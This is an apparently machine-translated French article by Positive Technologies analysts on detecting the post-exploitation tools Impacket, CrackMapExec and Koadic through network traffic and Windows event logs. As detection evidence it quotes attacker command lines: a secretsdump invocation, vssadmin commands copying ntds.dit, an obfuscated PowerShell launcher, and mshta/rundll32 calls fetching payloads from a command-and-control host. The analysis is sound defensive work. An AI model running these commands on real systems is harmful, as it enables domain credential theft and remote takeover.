Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates

Le nombre d'attaques dans le secteur des entreprises augmente chaque année : par exemple en 2017, 13 % d'incidents uniques en plus ont été enregistrés qu'en 2016, et fin 2018 - 27 % d'incidents en plusque dans la période précédente. Y compris ceux où le principal outil de travail est le système d'exploitation Windows. En 2017-2018, l'APT Dragonfly, APT28, APT Eau Boueuse mené des attaques contre des organisations gouvernementales et militaires en Europe, en Amérique du Nord et en Arabie Saoudite. Et nous avons utilisé trois outils pour cela - Impaquet, CrackMapExec и Koadique. Leur code source est ouvert et disponible sur GitHub.

Il convient de noter que ces outils ne sont pas utilisés pour une pénétration initiale, mais pour développer une attaque au sein de l'infrastructure. Les attaquants les utilisent à différentes étapes de l’attaque après la pénétration du périmètre. Ceci est d'ailleurs difficile à détecter et souvent uniquement avec l'aide de la technologie. identifier les traces de compromission dans le trafic réseau ou des outils qui permettent détecter les actions actives d'un attaquant après qu'il ait pénétré l'infrastructure. Les outils offrent une variété de fonctions, allant du transfert de fichiers à l'interaction avec le registre et à l'exécution de commandes sur une machine distante. Nous avons mené une étude de ces outils pour déterminer leur activité réseau.

Ce que nous devions faire :

  • Comprendre comment fonctionnent les outils de piratage. Découvrez ce que les attaquants doivent exploiter et quelles technologies ils peuvent utiliser.
  • Trouvez ce qui n'est pas détecté par les outils de sécurité de l'information dès les premières étapes d'une attaque. La phase de reconnaissance peut être ignorée, soit parce que l'attaquant est un attaquant interne, soit parce qu'il exploite une faille dans l'infrastructure qui n'était pas connue auparavant. Il devient possible de reconstituer toute la chaîne de ses actions, d'où la volonté de détecter d'autres mouvements.
  • Éliminez les faux positifs des outils de détection d’intrusion. Il ne faut pas oublier que lorsque certaines actions sont détectées sur la seule base de la reconnaissance, des erreurs fréquentes sont possibles. Habituellement, dans l'infrastructure, il existe un nombre suffisant de moyens, impossibles à distinguer des moyens légitimes à première vue, pour obtenir des informations.

Qu’apportent ces outils aux attaquants ? S'il s'agit d'Impacket, les attaquants reçoivent une grande bibliothèque de modules qui peuvent être utilisés à différentes étapes de l'attaque qui suivent après avoir franchi le périmètre. De nombreux outils utilisent les modules Impacket en interne – par exemple Metasploit. Il contient dcomexec et wmiexec pour l'exécution de commandes à distance, secretsdump pour obtenir les comptes de la mémoire ajoutés depuis Impacket. De ce fait, une détection correcte de l’activité d’une telle bibliothèque garantira la détection des dérivés.

Ce n'est pas un hasard si les créateurs ont écrit « Powered by Impacket » à propos de CrackMapExec (ou simplement CME). De plus, CME dispose de fonctionnalités prêtes à l'emploi pour les scénarios courants : Mimikatz pour obtenir des mots de passe ou leurs hachages, implémentation de l'agent Meterpreter ou Empire pour l'exécution à distance et Bloodhound intégré.

Le troisième outil que nous avons choisi était Koadic. Il est assez récent, il a été présenté lors de la conférence internationale des hackers DEFCON 25 en 2017 et se distingue par une approche non standard : il fonctionne via HTTP, Java Script et Microsoft Visual Basic Script (VBS). Cette approche s'appelle vivre de la terre : l'outil utilise un ensemble de dépendances et de bibliothèques intégrées à Windows. Les créateurs l'appellent COM Command & Control, ou C3.

IMPACQUE

Les fonctionnalités d'Impacket sont très larges, allant de la reconnaissance au sein d'AD et la collecte de données depuis les serveurs internes MS SQL, jusqu'aux techniques d'obtention d'informations d'identification : il s'agit d'une attaque par relais SMB, et l'obtention du fichier ntds.dit contenant les hachages des mots de passe utilisateur à partir d'un contrôleur de domaine. Impacket exécute également des commandes à distance en utilisant quatre méthodes différentes : WMI, Windows Scheduler Management Service, DCOM et SMB, et nécessite des informations d'identification pour ce faire.

Secretsdump

Jetons un coup d'oeil à secretsdump. Il s'agit d'un module qui peut cibler à la fois les machines des utilisateurs et les contrôleurs de domaine. Il peut être utilisé pour obtenir des copies des zones mémoire LSA, SAM, SECURITY, NTDS.dit, afin d'être visible à différentes étapes de l'attaque. La première étape du fonctionnement du module est l'authentification via SMB, qui nécessite soit le mot de passe de l'utilisateur, soit son hash pour réaliser automatiquement l'attaque Pass the Hash. Vient ensuite une demande d'ouverture de l'accès à Service Control Manager (SCM) et d'accès au registre via le protocole winreg, grâce auquel un attaquant peut connaître les données des branches d'intérêt et obtenir des résultats via SMB.

En figue. 1, nous voyons exactement comment, lors de l'utilisation du protocole winreg, l'accès est obtenu à l'aide d'une clé de registre avec un LSA. Pour ce faire, utilisez la commande DCERPC avec l'opcode 15 - OpenKey.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 1. Ouverture d'une clé de registre à l'aide du protocole winreg

Ensuite, lorsque l'accès à la clé est obtenu, les valeurs sont enregistrées avec la commande SaveKey avec l'opcode 20. Impacket le fait d'une manière très spécifique. Il enregistre les valeurs dans un fichier dont le nom est une chaîne de 8 caractères aléatoires suivis de .tmp. De plus, le téléchargement ultérieur de ce fichier s'effectue via SMB à partir du répertoire System32 (Fig. 2).

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 2. Schéma d'obtention d'une clé de registre à partir d'une machine distante

Il s'avère qu'une telle activité sur le réseau peut être détectée par des requêtes adressées à certaines branches de registre à l'aide du protocole winreg, des noms spécifiques, des commandes et leur ordre.

Ce module laisse également des traces dans le journal des événements Windows, ce qui facilite sa détection. Par exemple, suite à l'exécution de la commande

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Dans le journal Windows Server 2016, nous verrons la séquence d'événements clé suivante :

1. 4624 - Connexion à distance.
2. 5145 - vérification des droits d'accès au service distant winreg.
3. 5145 - vérification des droits d'accès aux fichiers dans le répertoire System32. Le fichier porte le nom aléatoire mentionné ci-dessus.
4. 4688 - création d'un processus cmd.exe qui lance vssadmin :

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - création d'un processus avec la commande :

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - création d'un processus avec la commande :

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - création d'un processus avec la commande :

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Comme de nombreux outils de post-exploitation, Impacket dispose de modules pour l'exécution de commandes à distance. Nous nous concentrerons sur smbexec, qui fournit un shell de commande interactif sur une machine distante. Ce module nécessite également une authentification via SMB, soit avec un mot de passe, soit avec un hachage de mot de passe. En figue. 3, nous voyons un exemple du fonctionnement d'un tel outil, dans ce cas il s'agit de la console d'administrateur locale.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 3. Console smbexec interactive

La première étape de smbexec après l'authentification consiste à ouvrir le SCM avec la commande OpenSCManagerW (15). La requête est remarquable : le champ MachineName est DUMMY.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 4. Demande d'ouverture de Service Control Manager

Ensuite, le service est créé à l'aide de la commande CreateServiceW (12). Dans le cas de smbexec, nous pouvons voir à chaque fois la même logique de construction de commandes. En figue. 5, le vert indique les paramètres de commande non modifiables, le jaune indique ce qu'un attaquant peut modifier. Il est facile de voir que le nom du fichier exécutable, son répertoire et le fichier de sortie peuvent être modifiés, mais le reste est bien plus difficile à modifier sans perturber la logique du module Impacket.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 5. Demande de création d'un service à l'aide de Service Control Manager

Smbexec laisse également des traces évidentes dans le journal des événements Windows. Dans le journal Windows Server 2016 pour le shell de commande interactif avec la commande ipconfig, nous verrons la séquence d'événements clé suivante :

1. 4697 — installation du service sur la machine de la victime :

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - création du processus cmd.exe avec les arguments du point 1.
3. 5145 - vérification des droits d'accès au fichier __output dans le répertoire C$.
4. 4697 — installation du service sur la machine de la victime.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - création du processus cmd.exe avec les arguments du point 4.
6. 5145 - vérification des droits d'accès au fichier __output dans le répertoire C$.

Impacket est la base du développement d'outils d'attaque. Il prend en charge presque tous les protocoles de l'infrastructure Windows et possède en même temps ses propres caractéristiques. Voici les requêtes Winreg spécifiques et l'utilisation de l'API SCM avec la formation de commandes caractéristiques, le format de nom de fichier et le partage SMB SYSTEM32.

CRACKMAPEXEC

L'outil CME est principalement conçu pour automatiser les actions de routine qu'un attaquant doit effectuer pour progresser au sein du réseau. Il vous permet de travailler en collaboration avec le célèbre agent Empire et Meterpreter. Pour exécuter des commandes en secret, CME peut les masquer. À l'aide de Bloodhound (un outil de reconnaissance distinct), un attaquant peut automatiser la recherche d'une session d'administrateur de domaine active.

Limier

Bloodhound, en tant qu'outil autonome, permet une reconnaissance avancée au sein du réseau. Il collecte des données sur les utilisateurs, les machines, les groupes et les sessions et est fourni sous forme de script PowerShell ou de fichier binaire. Des protocoles basés sur LDAP ou SMB sont utilisés pour collecter des informations. Le module d'intégration CME permet à Bloodhound d'être téléchargé sur la machine de la victime, d'exécuter et de recevoir les données collectées après l'exécution, automatisant ainsi les actions dans le système et les rendant moins visibles. Le shell graphique Bloodhound présente les données collectées sous forme de graphiques, ce qui permet de trouver le chemin le plus court depuis la machine de l'attaquant jusqu'à l'administrateur de domaine.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 6. Interface du chien de sang

Pour s'exécuter sur la machine de la victime, le module crée une tâche en utilisant ATSVC et SMB. ATSVC est une interface permettant de travailler avec le Planificateur de tâches Windows. CME utilise sa fonction NetrJobAdd(1) pour créer des tâches sur le réseau. Un exemple de ce que le module CME envoie est présenté sur la Fig. 7 : Il s'agit d'un appel de commande cmd.exe et d'un code obscurci sous forme d'arguments au format XML.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Figure 7. Créer une tâche via CME

Une fois la tâche soumise pour exécution, la machine de la victime démarre elle-même Bloodhound, ce qui se voit dans le trafic. Le module est caractérisé par des requêtes LDAP pour obtenir des groupes standard, une liste de toutes les machines et utilisateurs du domaine et obtenir des informations sur les sessions utilisateur actives via la requête SRVSVC NetSessEnum.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 8. Obtention d'une liste des sessions actives via SMB

De plus, le lancement de Bloodhound sur la machine d'une victime avec l'audit activé est accompagné d'un événement avec l'ID 4688 (création de processus) et le nom du processus. «C:WindowsSystem32cmd.exe». Ce qui est remarquable, ce sont les arguments de la ligne de commande :

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproduits

Le module enum_avproducts est très intéressant du point de vue fonctionnalité et implémentation. WMI vous permet d'utiliser le langage de requête WQL pour récupérer des données à partir de divers objets Windows, ce qui est essentiellement ce qu'utilise ce module CME. Il génère des requêtes vers les classes AntiSpywareProduct et AntiМirusProduct concernant les outils de protection installés sur la machine de la victime. Afin d'obtenir les données nécessaires, le module se connecte à l'espace de noms rootSecurityCenter2, puis génère une requête WQL et reçoit une réponse. En figue. La figure 9 montre le contenu de ces demandes et réponses. Dans notre exemple, Windows Defender a été trouvé.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 9. Activité réseau du module enum_avproducts

Souvent, l'audit WMI (Trace WMI-Activity), dans les événements duquel vous pouvez trouver des informations utiles sur les requêtes WQL, peut être désactivé. Mais s'il est activé, alors si le script enum_avproducts est exécuté, un événement sera enregistré avec l'ID 11. Il contiendra le nom de l'utilisateur qui a envoyé la demande et le nom dans l'espace de noms rootSecurityCenter2.

Chacun des modules CME avait ses propres artefacts, qu'il s'agisse de requêtes WQL spécifiques ou de création d'un certain type de tâche dans un planificateur de tâches avec obscurcissement et activité spécifique à Bloodhound dans LDAP et SMB.

KOADIQUE

Une particularité de Koadic est l'utilisation d'interpréteurs JavaScript et VBScript intégrés à Windows. En ce sens, il suit la tendance à vivre de la terre, c'est-à-dire qu'il n'a pas de dépendances externes et utilise les outils Windows standard. Il s’agit d’un outil de Commande & Contrôle (CnC) complet, puisqu’après infection un « implant » est installé sur la machine, permettant de la contrôler. Une telle machine, dans la terminologie Koadic, est appelée un « zombie ». Si les privilèges de la victime sont insuffisants pour un fonctionnement complet, Koadic a la possibilité de les augmenter en utilisant des techniques de contournement du contrôle de compte d'utilisateur (contournement UAC).

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 10. Coquille Koadique

La victime doit initier la communication avec le serveur Command & Control. Pour ce faire, elle doit contacter un URI préalablement préparé et recevoir le corps principal de Koadic à l'aide de l'un des stagers. En figue. La figure 11 montre un exemple pour le stager mshta.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 11. Initialisation d'une session avec le serveur CnC

Sur la base de la variable de réponse WS, il devient clair que l'exécution se produit via WScript.Shell et que les variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contiennent des informations clés sur les paramètres de la session en cours. Il s'agit de la première paire requête-réponse dans une connexion HTTP avec un serveur CnC. Les demandes ultérieures sont directement liées à la fonctionnalité des modules appelés (implants). Tous les modules Koadic fonctionnent uniquement avec une session active avec CnC.

Mimikatz

Tout comme CME fonctionne avec Bloodhound, Koadic fonctionne avec Mimikatz en tant que programme distinct et dispose de plusieurs façons de le lancer. Vous trouverez ci-dessous une paire requête-réponse pour télécharger l’implant Mimikatz.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 12. Transférer Mimikatz à Koadic

Vous pouvez voir comment le format URI de la requête a changé. Il contient désormais une valeur pour la variable csrf, responsable du module sélectionné. Ne faites pas attention à son nom ; Nous savons tous que CSRF est généralement compris différemment. La réponse a été le même corps principal de Koadic, auquel a été ajouté du code lié à Mimikatz. Il est assez vaste, alors regardons les points clés. Nous avons ici la bibliothèque Mimikatz codée en base64, une classe .NET sérialisée qui va l'injecter, et des arguments pour lancer Mimikatz. Le résultat de l'exécution est transmis sur le réseau en texte clair.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 13. Résultat de l'exécution de Mimikatz sur une machine distante

Exec_cmd

Koadic dispose également de modules permettant d'exécuter des commandes à distance. Ici, nous verrons la même méthode de génération d'URI et les variables sid et csrf familières. Dans le cas du module exec_cmd, le code est ajouté au corps capable d'exécuter des commandes shell. Ci-dessous est présenté le code contenu dans la réponse HTTP du serveur CnC.

Comment détecter les attaques sur l'infrastructure Windows : étudier les outils des pirates
Riz. 14. Code d'implant exec_cmd

La variable GAWTUUGCFI avec l'attribut WS familier est requise pour l'exécution du code. Avec son aide, l'implant appelle le shell, traitant deux branches de code - shell.exec avec le retour du flux de données de sortie et shell.run sans retour.

Koadic n'est pas un outil typique, mais il possède ses propres artefacts grâce auxquels il peut être trouvé dans le trafic légitime :

  • formation spéciale de requêtes HTTP,
  • en utilisant l'API winHttpRequests,
  • créer un objet WScript.Shell via ActiveXObject,
  • grand corps exécutable.

La connexion initiale est initiée par le stager, il est donc possible de détecter son activité via les événements Windows. Pour mshta, il s'agit de l'événement 4688, qui indique la création d'un processus avec l'attribut start :

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Pendant que Koadic est en cours d'exécution, vous pouvez voir d'autres événements 4688 avec des attributs qui le caractérisent parfaitement :

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

résultats

La tendance à vivre de la terre gagne en popularité parmi les criminels. Ils utilisent les outils et mécanismes intégrés à Windows pour leurs besoins. Nous voyons de plus en plus d’outils populaires Koadic, CrackMapExec et Impacket suivant ce principe apparaître dans les rapports APT. Le nombre de forks sur GitHub pour ces outils augmente également, et de nouveaux apparaissent (il y en a déjà environ un millier maintenant). La tendance gagne en popularité en raison de sa simplicité : les attaquants n’ont pas besoin d’outils tiers ; ils sont déjà sur les machines des victimes et les aident à contourner les mesures de sécurité. Nous nous concentrons sur l'étude de la communication réseau : chaque outil décrit ci-dessus laisse ses propres traces dans le trafic réseau ; leur étude détaillée nous a permis d'enseigner notre produit Découverte d'attaques réseau PT les détecter, ce qui permet finalement d’enquêter sur toute la chaîne des cyberincidents les impliquant.

Auteurs:

  • Anton Tyurin, chef du département des services d'experts, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Source: habr.com

Ajouter un commentaire